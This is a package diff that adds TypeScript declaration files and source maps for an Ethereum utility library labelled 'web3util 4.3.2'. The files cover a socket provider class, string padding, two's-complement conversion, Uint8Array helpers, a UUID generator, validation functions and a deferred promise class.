web3util 4.3.2

package/lib/types/socket_provider.d.ts

@@ -0,0 +1,129 @@
+import { ConnectionEvent, EthExecutionAPI, JsonRpcId, JsonRpcResponse, JsonRpcResponseWithResult, JsonRpcResult, ProviderConnectInfo, ProviderMessage, ProviderRpcError, SocketRequestItem, Web3APIMethod, Web3APIPayload, Web3APIReturnType, Web3APISpec, Web3Eip1193ProviderEventCallback, Web3ProviderEventCallback, Web3ProviderMessageEventCallback, Web3ProviderStatus } from 'web3-types';
+import { Eip1193Provider } from './web3_eip1193_provider.js';
+import { ChunkResponseParser } from './chunk_response_parser.js';
+export declare type ReconnectOptions = {
+    autoReconnect: boolean;
+    delay: number;
+    maxAttempts: number;
+};
+export declare abstract class SocketProvider<MessageEvent, CloseEvent, ErrorEvent, API extends Web3APISpec = EthExecutionAPI> extends Eip1193Provider<API> {
+    protected isReconnecting: boolean;
+    protected readonly _socketPath: string;
+    protected readonly chunkResponseParser: ChunkResponseParser;
+    protected readonly _pendingRequestsQueue: Map<JsonRpcId, SocketRequestItem<any, any, any>>;
+    protected readonly _sentRequestsQueue: Map<JsonRpcId, SocketRequestItem<any, any, any>>;
+    protected _reconnectAttempts: number;
+    protected readonly _socketOptions?: unknown;
+    protected readonly _reconnectOptions: ReconnectOptions;
+    protected _socketConnection?: unknown;
+    get SocketConnection(): unknown;
+    protected _connectionStatus: Web3ProviderStatus;
+    protected readonly _onMessageHandler: (event: MessageEvent) => void;
+    protected readonly _onOpenHandler: () => void;
+    protected readonly _onCloseHandler: (event: CloseEvent) => void;
+    protected readonly _onErrorHandler: (event: ErrorEvent) => void;
+    /**
+     * This is an abstract class for implementing a socket provider (e.g. WebSocket, IPC). It extends the EIP-1193 provider {@link EIP1193Provider}.
+     * @param socketPath - The path to the socket (e.g. /ipc/path or ws://localhost:8546)
+     * @param socketOptions - The options for the socket connection. Its type is supposed to be specified in the inherited classes.
+     * @param reconnectOptions - The options for the socket reconnection {@link ReconnectOptions}
+     */
+    constructor(socketPath: string, socketOptions?: unknown, reconnectOptions?: Partial<ReconnectOptions>);
+    protected _init(): void;
+    /**
+     * Try to establish a connection to the socket
+     */
+    connect(): void;
+    protected abstract _openSocketConnection(): void;
+    protected abstract _addSocketListeners(): void;
+    protected abstract _removeSocketListeners(): void;
+    protected abstract _onCloseEvent(_event: unknown): void;
+    protected abstract _sendToSocket(_payload: Web3APIPayload<API, any>): void;
+    protected abstract _parseResponses(_event: MessageEvent): JsonRpcResponse[];
+    protected abstract _closeSocketConnection(_code?: number, _data?: string): void;
+    protected _validateProviderPath(path: string): boolean;
+    /**
+     *
+     * @returns the pendingRequestQueue size
+     */
+    getPendingRequestQueueSize(): number;
+    /**
+     *
+     * @returns the sendPendingRequests size
+     */
+    getSentRequestsQueueSize(): number;
+    /**
+     *
+     * @returns `true` if the socket supports subscriptions
+     */
+    supportsSubscriptions(): boolean;
+    /**
+     * Registers a listener for the specified event type.
+     * @param type - The event type to listen for
+     * @param listener - The callback to be invoked when the event is emitted
+     */
+    on(type: 'disconnect', listener: Web3Eip1193ProviderEventCallback<ProviderRpcError>): void;
+    on(type: 'connect', listener: Web3Eip1193ProviderEventCallback<ProviderConnectInfo>): void;
+    on(type: 'chainChanged', listener: Web3Eip1193ProviderEventCallback<string>): void;
+    on(type: 'accountsChanged', listener: Web3Eip1193ProviderEventCallback<string[]>): void;
+    on<T = JsonRpcResult>(type: 'message', listener: Web3Eip1193ProviderEventCallback<ProviderMessage> | Web3ProviderMessageEventCallback<T>): void;
+    on<T = JsonRpcResult>(type: string, listener: Web3Eip1193ProviderEventCallback<unknown> | Web3ProviderEventCallback<T>): void;
+    /**
+     * Registers a listener for the specified event type that will be invoked at most once.
+     * @param type  - The event type to listen for
+     * @param listener - The callback to be invoked when the event is emitted
+     */
+    once(type: 'disconnect', listener: Web3Eip1193ProviderEventCallback<ProviderRpcError>): void;
+    once(type: 'connect', listener: Web3Eip1193ProviderEventCallback<ProviderConnectInfo>): void;
+    once(type: 'chainChanged', listener: Web3Eip1193ProviderEventCallback<string>): void;
+    once(type: 'accountsChanged', listener: Web3Eip1193ProviderEventCallback<string[]>): void;
+    once<T = JsonRpcResult>(type: 'message', listener: Web3Eip1193ProviderEventCallback<ProviderMessage> | Web3ProviderMessageEventCallback<T>): void;
+    once<T = JsonRpcResult>(type: string, listener: Web3Eip1193ProviderEventCallback<unknown> | Web3ProviderEventCallback<T>): void;
+    /**
+     *  Removes a listener for the specified event type.
+     * @param type - The event type to remove the listener for
+     * @param listener - The callback to be executed
+     */
+    removeListener(type: 'disconnect', listener: Web3Eip1193ProviderEventCallback<ProviderRpcError>): void;
+    removeListener(type: 'connect', listener: Web3Eip1193ProviderEventCallback<ProviderConnectInfo>): void;
+    removeListener(type: 'chainChanged', listener: Web3Eip1193ProviderEventCallback<string>): void;
+    removeListener(type: 'accountsChanged', listener: Web3Eip1193ProviderEventCallback<string[]>): void;
+    removeListener<T = JsonRpcResult>(type: 'message', listener: Web3Eip1193ProviderEventCallback<ProviderMessage> | Web3ProviderMessageEventCallback<T>): void;
+    removeListener<T = JsonRpcResult>(type: string, listener: Web3Eip1193ProviderEventCallback<unknown> | Web3ProviderEventCallback<T>): void;
+    protected _onDisconnect(code: number, data?: string): void;
+    /**
+     * Disconnects the socket
+     * @param code - The code to be sent to the server
+     * @param data - The data to be sent to the server
+     */
+    disconnect(code?: number, data?: string): void;
+    /**
+     * Safely disconnects the socket, async and waits for request size to be 0 before disconnecting
+     * @param forceDisconnect - If true, will clear queue after 5 attempts of waiting for both pending and sent queue to be 0
+     * @param ms - Determines the ms of setInterval
+     * @param code - The code to be sent to the server
+     * @param data - The data to be sent to the server
+     */
+    safeDisconnect(code?: number, data?: string, forceDisconnect?: boolean, ms?: number): Promise<void>;
+    /**
+     * Removes all listeners for the specified event type.
+     * @param type - The event type to remove the listeners for
+     */
+    removeAllListeners(type: string): void;
+    protected _onError(event: ErrorEvent): void;
+    /**
+     * Resets the socket, removing all listeners and pending requests
+     */
+    reset(): void;
+    protected _reconnect(): void;
+    /**
+     *  Creates a request object to be sent to the server
+     */
+    request<Method extends Web3APIMethod<API>, ResultType = Web3APIReturnType<API, Method>>(request: Web3APIPayload<API, Method>): Promise<JsonRpcResponseWithResult<ResultType>>;
+    protected _onConnect(): void;
+    private _sendPendingRequests;
+    protected _onMessage(event: MessageEvent): void;
+    clearQueues(event?: ConnectionEvent): void;
+    protected _clearQueues(event?: ConnectionEvent): void;
+}
+//# sourceMappingURL=socket_provider.d.ts.map

package/lib/types/socket_provider.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"socket_provider.d.ts","sourceRoot":"","sources":["../../src/socket_provider.ts"],"names":[],"mappings":"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"}

package/lib/types/string_manipulation.d.ts

@@ -0,0 +1,81 @@
+/**
+ * @module Utils
+ */
+import { Numbers } from 'web3-types';
+/**
+ * Adds a padding on the left of a string, if value is a integer or bigInt will be converted to a hex string.
+ * @param value - The value to be padded.
+ * @param characterAmount - The amount of characters the string should have.
+ * @param sign - The sign to be added (default is 0).
+ * @returns The padded string.
+ *
+ * @example
+ * ```ts
+ *
+ * console.log(web3.utils.padLeft('0x123', 10));
+ * >0x0000000123
+ * ```
+ */
+export declare const padLeft: (value: Numbers, characterAmount: number, sign?: string) => string;
+/**
+ * Adds a padding on the right of a string, if value is a integer or bigInt will be converted to a hex string.
+ * @param value - The value to be padded.
+ * @param characterAmount - The amount of characters the string should have.
+ * @param sign - The sign to be added (default is 0).
+ * @returns The padded string.
+ *
+ * @example
+ * ```ts
+ * console.log(web3.utils.padRight('0x123', 10));
+ * > 0x1230000000
+ *
+ * console.log(web3.utils.padRight('0x123', 10, '1'));
+ * > 0x1231111111
+ * ```
+ */
+export declare const padRight: (value: Numbers, characterAmount: number, sign?: string) => string;
+/**
+ * Adds a padding on the right of a string, if value is a integer or bigInt will be converted to a hex string. @alias `padRight`
+ */
+export declare const rightPad: (value: Numbers, characterAmount: number, sign?: string) => string;
+/**
+ * Adds a padding on the left of a string, if value is a integer or bigInt will be converted to a hex string. @alias `padLeft`
+ */
+export declare const leftPad: (value: Numbers, characterAmount: number, sign?: string) => string;
+/**
+ * Converts a negative number into the two’s complement and return a hexstring of 64 nibbles.
+ * @param value - The value to be converted.
+ * @param nibbleWidth - The nibble width of the hex string (default is 64).
+ *
+ * @returns The hex string of the two’s complement.
+ *
+ * @example
+ * ```ts
+ * console.log(web3.utils.toTwosComplement(13, 32));
+ * > 0x0000000000000000000000000000000d
+ *
+ * console.log(web3.utils.toTwosComplement('-0x1', 32));
+ * > 0xffffffffffffffffffffffffffffffff
+ *
+ * console.log(web3.utils.toTwosComplement(BigInt('9007199254740992'), 32));
+ * > 0x00000000000000000020000000000000
+ * ```
+ */
+export declare const toTwosComplement: (value: Numbers, nibbleWidth?: number) => string;
+/**
+ * Converts the twos complement into a decimal number or big int.
+ * @param value - The value to be converted.
+ * @param nibbleWidth - The nibble width of the hex string (default is 64).
+ * @returns The decimal number or big int.
+ *
+ * @example
+ * ```ts
+ * console.log(web3.utils.fromTwosComplement('0x0000000000000000000000000000000d', 32'));
+ * > 13
+ *
+ * console.log(web3.utils.fromTwosComplement('0x00000000000000000020000000000000', 32));
+ * > 9007199254740992n
+ * ```
+ */
+export declare const fromTwosComplement: (value: Numbers, nibbleWidth?: number) => number | bigint;
+//# sourceMappingURL=string_manipulation.d.ts.map

package/lib/types/string_manipulation.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"string_manipulation.d.ts","sourceRoot":"","sources":["../../src/string_manipulation.ts"],"names":[],"mappings":"AAiBA;;GAEG;AAEH,OAAO,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAKrC;;;;;;;;;;;;;GAaG;AACH,eAAO,MAAM,OAAO,UAAW,OAAO,mBAAmB,MAAM,oBAAe,MAc7E,CAAC;AAEF;;;;;;;;;;;;;;;GAeG;AACH,eAAO,MAAM,QAAQ,UAAW,OAAO,mBAAmB,MAAM,oBAAe,MAW9E,CAAC;AAEF;;GAEG;AACH,eAAO,MAAM,QAAQ,UAhBW,OAAO,mBAAmB,MAAM,oBAAe,MAgB/C,CAAC;AAEjC;;GAEG;AACH,eAAO,MAAM,OAAO,UArDW,OAAO,mBAAmB,MAAM,oBAAe,MAqDhD,CAAC;AAE/B;;;;;;;;;;;;;;;;;;GAkBG;AACH,eAAO,MAAM,gBAAgB,UAAW,OAAO,2BAAqB,MAgBnE,CAAC;AAEF;;;;;;;;;;;;;;GAcG;AACH,eAAO,MAAM,kBAAkB,UAAW,OAAO,2BAAqB,MAAM,GAAG,MAkB9E,CAAC"}

package/lib/types/uint8array.d.ts

@@ -0,0 +1,7 @@
+export declare function isUint8Array(data: unknown | Uint8Array): data is Uint8Array;
+export declare function uint8ArrayConcat(...parts: Uint8Array[]): Uint8Array;
+/**
+ * Returns true if the two passed Uint8Arrays have the same content
+ */
+export declare function uint8ArrayEquals(a: Uint8Array, b: Uint8Array): boolean;
+//# sourceMappingURL=uint8array.d.ts.map

package/lib/types/uint8array.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"uint8array.d.ts","sourceRoot":"","sources":["../../src/uint8array.ts"],"names":[],"mappings":"AAiBA,wBAAgB,YAAY,CAAC,IAAI,EAAE,OAAO,GAAG,UAAU,GAAG,IAAI,IAAI,UAAU,CAM3E;AAED,wBAAgB,gBAAgB,CAAC,GAAG,KAAK,EAAE,UAAU,EAAE,GAAG,UAAU,CAYnE;AAED;;GAEG;AACH,wBAAgB,gBAAgB,CAAC,CAAC,EAAE,UAAU,EAAE,CAAC,EAAE,UAAU,GAAG,OAAO,CAgBtE"}

package/lib/types/uuid.d.ts

@@ -0,0 +1,12 @@
+/**
+ * Generate a version 4 (random) uuid
+ * https://github.com/uuidjs/uuid/blob/main/src/v4.js#L5
+ * @returns - A version 4 uuid of the form xxxxxxxx-xxxx-4xxx-xxxx-xxxxxxxxxxxx
+ * @example
+ * ```ts
+ * console.log(web3.utils.uuidV4());
+ * > "1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed"
+ * ```
+ */
+export declare const uuidV4: () => string;
+//# sourceMappingURL=uuid.d.ts.map

package/lib/types/uuid.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"uuid.d.ts","sourceRoot":"","sources":["../../src/uuid.ts"],"names":[],"mappings":"AAwBA;;;;;;;;;GASG;AACH,eAAO,MAAM,MAAM,QAAO,MAwBzB,CAAC"}

package/lib/types/validation.d.ts

@@ -0,0 +1,83 @@
+import { BlockNumberOrTag, ContractInitOptions } from 'web3-types';
+/**
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isHexStrict: (hex: import("web3-validator").ValidInputTypes) => boolean;
+/**
+ * returns true if input is a hexstring, number or bigint
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isHex: (hex: import("web3-validator").ValidInputTypes) => boolean;
+/**
+ * Checks the checksum of a given address. Will also return false on non-checksum addresses.
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const checkAddressCheckSum: (data: string) => boolean;
+/**
+ * Checks if a given string is a valid Ethereum address. It will also check the checksum, if the address has upper and lowercase letters.
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isAddress: (value: import("web3-validator").ValidInputTypes, checkChecksum?: boolean | undefined) => boolean;
+/**
+ * Returns true if the bloom is a valid bloom
+ * https://github.com/joshstevens19/ethereum-bloom-filters/blob/fbeb47b70b46243c3963fe1c2988d7461ef17236/src/index.ts#L7
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isBloom: (bloom: import("web3-validator").ValidInputTypes) => boolean;
+/**
+ * Returns true if the value is part of the given bloom
+ * note: false positives are possible.
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isInBloom: (bloom: string, value: string | Uint8Array) => boolean;
+/**
+ * Returns true if the ethereum users address is part of the given bloom note: false positives are possible.
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isUserEthereumAddressInBloom: (bloom: string, ethereumAddress: string) => boolean;
+/**
+ * Returns true if the contract address is part of the given bloom.
+ * note: false positives are possible.
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isContractAddressInBloom: (bloom: string, contractAddress: string) => boolean;
+/**
+ * Checks if its a valid topic
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isTopic: (topic: string) => boolean;
+/**
+ * Returns true if the topic is part of the given bloom.
+ * note: false positives are possible.
+ *
+ * @deprecated Will be removed in next release. Please use `web3-validator` package instead.
+ */
+export declare const isTopicInBloom: (bloom: string, topic: string) => boolean;
+/**
+ * Compares between block A and block B
+ * @param blockA - Block number or string
+ * @param blockB - Block number or string
+ *
+ * @returns - Returns -1 if a \< b, returns 1 if a \> b and returns 0 if a == b
+ *
+ * @example
+ * ```ts
+ * console.log(web3.utils.compareBlockNumbers('latest', 'pending'));
+ * > -1
+ *
+ * console.log(web3.utils.compareBlockNumbers(12, 11));
+ * > 1
+ * ```
+ */
+export declare const compareBlockNumbers: (blockA: BlockNumberOrTag, blockB: BlockNumberOrTag) => 0 | 1 | -1;
+export declare const isContractInitOptions: (options: unknown) => options is ContractInitOptions;
+export declare const isNullish: (item: unknown) => item is null | undefined;
+//# sourceMappingURL=validation.d.ts.map

package/lib/types/validation.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"validation.d.ts","sourceRoot":"","sources":["../../src/validation.ts"],"names":[],"mappings":"AAoCA,OAAO,EAAE,gBAAgB,EAAa,mBAAmB,EAAE,MAAM,YAAY,CAAC;AAE9E;;GAEG;AACH,eAAO,MAAM,WAAW,4DAAuB,CAAC;AAEhD;;;;GAIG;AACH,eAAO,MAAM,KAAK,4DAAiB,CAAC;AAEpC;;;;GAIG;AACH,eAAO,MAAM,oBAAoB,2BAAgC,CAAC;AAElE;;;;GAIG;AACH,eAAO,MAAM,SAAS,mGAAqB,CAAC;AAE5C;;;;;GAKG;AACH,eAAO,MAAM,OAAO,8DAAmB,CAAC;AAExC;;;;;GAKG;AACH,eAAO,MAAM,SAAS,wDAAqB,CAAC;AAE5C;;;;GAIG;AACH,eAAO,MAAM,4BAA4B,qDAAwC,CAAC;AAElF;;;;;GAKG;AACH,eAAO,MAAM,wBAAwB,qDAAoC,CAAC;AAE1E;;;;GAIG;AACH,eAAO,MAAM,OAAO,4BAAmB,CAAC;AAExC;;;;;GAKG;AACH,eAAO,MAAM,cAAc,2CAA0B,CAAC;AAEtD;;;;;;;;;;;;;;;GAeG;AACH,eAAO,MAAM,mBAAmB,WAAY,gBAAgB,UAAU,gBAAgB,eA+CrF,CAAC;AAEF,eAAO,MAAM,qBAAqB,YAAa,OAAO,mCAexB,CAAC;AAE/B,eAAO,MAAM,SAAS,6CAAqB,CAAC"}

package/lib/types/web3_deferred_promise.d.ts

@@ -0,0 +1,68 @@
+import { Web3DeferredPromiseInterface } from 'web3-types';
+/**
+ * The class is a simple implementation of a deferred promise with optional timeout functionality,
+ * which can be useful when dealing with asynchronous tasks.
+ *
+ */
+export declare class Web3DeferredPromise<T> implements Promise<T>, Web3DeferredPromiseInterface<T> {
+    [Symbol.toStringTag]: 'Promise';
+    private readonly _promise;
+    private _resolve;
+    private _reject;
+    private _state;
+    private _timeoutId?;
+    private readonly _timeoutInterval?;
+    private readonly _timeoutMessage;
+    /**
+     *
+     * @param timeout - (optional) The timeout in milliseconds.
+     * @param eagerStart - (optional) If true, the timer starts as soon as the promise is created.
+     * @param timeoutMessage - (optional) The message to include in the timeout erro that is thrown when the promise times out.
+     */
+    constructor({ timeout, eagerStart, timeoutMessage, }?: {
+        timeout: number;
+        eagerStart: boolean;
+        timeoutMessage: string;
+    });
+    /**
+     * Returns the current state of the promise.
+     * @returns 'pending' | 'fulfilled' | 'rejected'
+     */
+    get state(): 'pending' | 'fulfilled' | 'rejected';
+    /**
+     *
+     * @param onfulfilled - (optional) The callback to execute when the promise is fulfilled.
+     * @param onrejected  - (optional) The callback to execute when the promise is rejected.
+     * @returns
+     */
+    then<TResult1, TResult2>(onfulfilled?: (value: T) => TResult1 | PromiseLike<TResult1>, onrejected?: (reason: unknown) => TResult2 | PromiseLike<TResult2>): Promise<TResult1 | TResult2>;
+    /**
+     *
+     * @param onrejected - (optional) The callback to execute when the promise is rejected.
+     * @returns
+     */
+    catch<TResult>(onrejected?: (reason: any) => TResult | PromiseLike<TResult>): Promise<T | TResult>;
+    /**
+     *
+     * @param onfinally - (optional) The callback to execute when the promise is settled (fulfilled or rejected).
+     * @returns
+     */
+    finally(onfinally?: (() => void) | undefined): Promise<T>;
+    /**
+     * Resolves the current promise.
+     * @param value - The value to resolve the promise with.
+     */
+    resolve(value: T | PromiseLike<T>): void;
+    /**
+     * Rejects the current promise.
+     * @param reason - The reason to reject the promise with.
+     */
+    reject(reason?: unknown): void;
+    /**
+     * Starts the timeout timer for the promise.
+     */
+    startTimer(): void;
+    private _checkTimeout;
+    private _clearTimeout;
+}
+//# sourceMappingURL=web3_deferred_promise.d.ts.map

package/lib/types/web3_deferred_promise.d.ts.map

@@ -0,0 +1 @@
